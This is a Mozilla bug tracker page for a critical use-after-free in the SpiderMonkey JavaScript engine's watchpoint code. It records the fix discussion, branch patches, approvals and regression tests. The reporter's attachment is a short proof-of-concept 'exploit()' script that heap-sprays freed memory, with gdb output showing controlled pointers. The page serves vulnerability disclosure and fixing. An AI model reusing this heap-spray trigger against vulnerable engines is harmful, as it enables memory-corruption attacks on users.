Closed
Bug 362872
Opened 18 years ago
Closed 18 years ago
script can drop a watchpoint that is in use
Categories
(Core :: JavaScript Engine, defect)
Core
JavaScript Engine
Tracking
()
VERIFIED
FIXED
People
(Reporter: sync2d, Assigned: brendan)
Details
(Keywords: crash, verified1.8.0.10, verified1.8.1.2, Whiteboard: [sg:critical] mostly fixed by 324010)
Attachments
(5 files, 3 obsolete files)
2.66 KB,
text/plain
|
Details | |
8.46 KB,
patch
|
mrbkap
:
review+
jay
:
approval1.8.1.2+
|
Details | Diff | Splinter Review |
8.38 KB,
patch
|
mrbkap
:
review+
jay
:
approval1.8.0.10+
|
Details | Diff | Splinter Review |
854 bytes,
patch
|
mrbkap
:
review+
|
Details | Diff | Splinter Review |
2.18 KB,
application/javascript
|
Details |
$ cat double-unwatch.txt function exploit() { var rooter = {}, object = {}, filler1 = "", filler2 = "\u5555"; for(var i = 0; i < 32/2-2; i++) { filler1 += "\u5050"; } object.watch("foo", function(){ object.unwatch("foo"); object.unwatch("foo"); for(var i = 0; i < 8 * 1024; i++) { rooter[i] = filler1 + filler2; } }); object.foo = "bar"; } exploit(); $ gdb --eval run --args dbg.obj/js double-unwatch.txt ... Program received signal SIGSEGV, Segmentation fault. 0x0043b1d0 in js_watch_set (cx=0xb50730, obj=0xa44d00, id=10767564, vp=0xa2eb64) at jsdbgapi.c:384 384 clasp = OBJ_GET_CLASS(cx, closure); (gdb) print *wp $1 = {links = {next = 0x50505050, prev = 0x50505050}, object = 0x50505050, sprop = 0x50505050, setter = 0x50505050, handler = 0x50505050, closure = <incomplete type>, nrefs = 21845} exploitable.
Updated•18 years ago
|
Assignee: general → mrbkap
Whiteboard: [sg:critical]
Comment 1•18 years ago
|
||
This changes the meaning of JS_ClearWatchPoint slightly (so that two calls to it only result in one call to DropWatchPoint), and I'm not sure if that's OK. I could move this check into obj_unwatch (and move JSWatchPoint into jsdbgapi.h), which would not change the API.
Attachment #248317 -
Flags: review?(brendan)
Assignee | ||
Comment 2•18 years ago
|
||
Comment on attachment 248317 [details] [diff] [review] One way of fixing this Not bad. It seems very bogus that JS_ClearWatchPoint can manipulate wp->nrefs. If the latter is counting strong refs (from rp->watchPointList and any wp local(s) active in js_watch_set frames), then it should not be possible to drop such a strong ref from the watch function, via *any* calls to unwatch. So it might be better to eliminate nrefs in favor of a frozen flag. Then js_watch_set would set this flag, and JS_ClearWatchPoint would do nothing if it found it set. What do you think? /be
Comment 3•18 years ago
|
||
(In reply to comment #2) > So it might be better to eliminate nrefs in favor of a frozen flag. Then > js_watch_set would set this flag, and JS_ClearWatchPoint would do nothing if it > found it set. What do you think? I think we need a tri-state instead of a boolean. JS_ClearWatchPoint does indeed drop wp->nrefs to represent the ref from rt->watchPointList. So we need: 1: The watchpoint has been added and not dropped 2: The watchpoint is currently running And if we drop from one of these two states and the other is not set, then we free the watch point. Perhaps we should just encode this into wp->nrefs?
Assignee | ||
Comment 4•18 years ago
|
||
This was fixed as part of the patch for bug 324010 (which was mistakenly checked in, but with r+, with a checkin message citing bug 366468). /be
Status: NEW → RESOLVED
Closed: 18 years ago
Resolution: --- → FIXED
Assignee | ||
Updated•18 years ago
|
Attachment #248317 -
Attachment is obsolete: true
Attachment #248317 -
Flags: review?(brendan)
Updated•18 years ago
|
Flags: wanted1.8.1.x+
Flags: wanted1.8.0.x+
Flags: blocking1.8.1.2?
Flags: blocking1.8.0.10?
Comment 5•18 years ago
|
||
For the older branches do we want the whole patch from bug 324010 or would it make sense to go with a smaller, more specific patch on the branches?
Whiteboard: [sg:critical] → [sg:critical] fixed by 324010
Comment 6•18 years ago
|
||
Updated•18 years ago
|
Flags: in-testsuite+
Assignee | ||
Comment 7•18 years ago
|
||
(In reply to comment #5) > For the older branches do we want the whole patch from bug 324010 or would it > make sense to go with a smaller, more specific patch on the branches? Smaller patch -- will attach one soon. /be
Assignee | ||
Comment 8•18 years ago
|
||
Needs review, enough changed. Also needs testing -- I'm swamped but found time to extract this patch. /be
Assignee: mrbkap → brendan
Status: RESOLVED → ASSIGNED
Attachment #251821 -
Flags: review?(mrbkap)
Attachment #251821 -
Flags: approval1.8.1.2?
Resolution: FIXED → ---
Assignee | ||
Comment 9•18 years ago
|
||
Attachment #251822 -
Flags: review?(mrbkap)
Attachment #251822 -
Flags: approval1.8.0.10?
Comment 10•18 years ago
|
||
Comment on attachment 251821 [details] [diff] [review] 1.8 branch patch >Index: jsdbgapi.c >- if (wp->object == obj && SPROP_USERID(sprop) == id) { >+ if (wp->object == obj && SPROP_USERID(sprop) == id && >+ !(wp->flags & JSWP_HELD)) { >+ wp->flags |= JSWP_HELD; Crap, I missed this before: the additional test in the if statement will cause us to hit the assertion at the end of this function, since we are guaranteed to find a watch point. There is watchpoint recursion protection in obj_watch_handler already. Maybe with this line, we should simply remove the recursion protection and the assertion (and change the return value to JS_TRUE). Here's a testcase: js> this.watch('x', function f() { print("before"); x = 3; print("after"); }) js> x = 3 before Assertion failure: 0, at jsdbgapi.c:565
Updated•18 years ago
|
Flags: wanted1.8.1.x+
Flags: wanted1.8.0.x+
Flags: blocking1.8.1.2?
Flags: blocking1.8.1.2+
Flags: blocking1.8.0.10?
Flags: blocking1.8.0.10+
Assignee | ||
Comment 11•18 years ago
|
||
mrbkap: thanks, fixed that as proposed. /be
Attachment #251821 -
Attachment is obsolete: true
Attachment #251821 -
Flags: review?(mrbkap)
Attachment #251821 -
Flags: approval1.8.1.2?
Assignee | ||
Comment 12•18 years ago
|
||
Attachment #251822 -
Attachment is obsolete: true
Attachment #251841 -
Flags: review?(mrbkap)
Attachment #251822 -
Flags: review?(mrbkap)
Attachment #251822 -
Flags: approval1.8.0.10?
Assignee | ||
Comment 13•18 years ago
|
||
Attachment #251842 -
Flags: review?(mrbkap)
Assignee | ||
Updated•18 years ago
|
Attachment #251840 -
Flags: review?(mrbkap)
Attachment #251840 -
Flags: approval1.8.1.2?
Assignee | ||
Updated•18 years ago
|
Attachment #251841 -
Flags: approval1.8.0.10?
Updated•18 years ago
|
Attachment #251842 -
Flags: review?(mrbkap) → review+
Updated•18 years ago
|
Attachment #251841 -
Flags: review?(mrbkap) → review+
Updated•18 years ago
|
Attachment #251840 -
Flags: review?(mrbkap) → review+
Assignee | ||
Comment 14•18 years ago
|
||
Fixed on trunk: js/src/jsdbgapi.c rev 3.85 /be
Comment 15•18 years ago
|
||
Comment on attachment 251840 [details] [diff] [review] fixed 1.8 branch patch Approved for 1.8 branch, a=jay for drivers.
Attachment #251840 -
Flags: approval1.8.1.2? → approval1.8.1.2+
Comment 16•18 years ago
|
||
Comment on attachment 251841 [details] [diff] [review] fixed 1.8.0 branch patch Approved for 1.8.0 branch, a=jay for drivers.
Attachment #251841 -
Flags: approval1.8.0.10? → approval1.8.0.10+
Assignee | ||
Updated•18 years ago
|
Whiteboard: [sg:critical] fixed by 324010 → [sg:critical] mostly fixed by 324010
Assignee | ||
Comment 17•18 years ago
|
||
1.8: js/src/jsdbgapi.c 3.56.2.15 1.8.0: js/src/jsdbgapi.c 3.56.2.1.4.10 /be
Status: ASSIGNED → RESOLVED
Closed: 18 years ago → 18 years ago
Keywords: fixed1.8.0.10,
fixed1.8.1.2
Resolution: --- → FIXED
Comment 18•18 years ago
|
||
verified fixed 1.8.0, 1.8.1, 1.9.0 2007-01-23 win/mac*/linux based on js1_5/Object/regress-362872.js.
Status: RESOLVED → VERIFIED
Comment 19•18 years ago
|
||
mrbkap's test from comment 10.
Comment 20•17 years ago
|
||
debug linux 1.9.0 on shutdown Assertion failure: overwriting, at /work/mozilla/builds/1.9.0/mozilla/js/src/jsscope.c:1237 Trace/breakpoint trap debug linux 1.8.1 on shutdown Assertion failure: overwriting, at /work/mozilla/builds/1.8.1/mozilla/js/src/jsscope.c:1133 Trace/breakpoint trap debug linux 1.8.0 Assertion failure: overwriting, at /work/mozilla/builds/1.8.0/mozilla/js/src/jsscope.c:1132 dittos windows and mac (I think).
Comment 21•17 years ago
|
||
btw, shutting down is not necessary. just click the home button and you will hit the same assert.
Assignee | ||
Comment 22•17 years ago
|
||
New bug please -- cc: mrbkap and me. /be
Comment 23•17 years ago
|
||
assert is fixed by patch in bug 361856 comment 9
Updated•17 years ago
|
Group: security
Comment 24•17 years ago
|
||
/cvsroot/mozilla/js/tests/js1_5/Object/regress-362872-01.js,v <-- regress-362872-01.js initial revision: 1.1 /cvsroot/mozilla/js/tests/js1_5/Object/regress-362872-02.js,v <-- regress-362872-02.js initial revision: 1.1
You need to log in
before you can comment on or make changes to this bug.
Description
•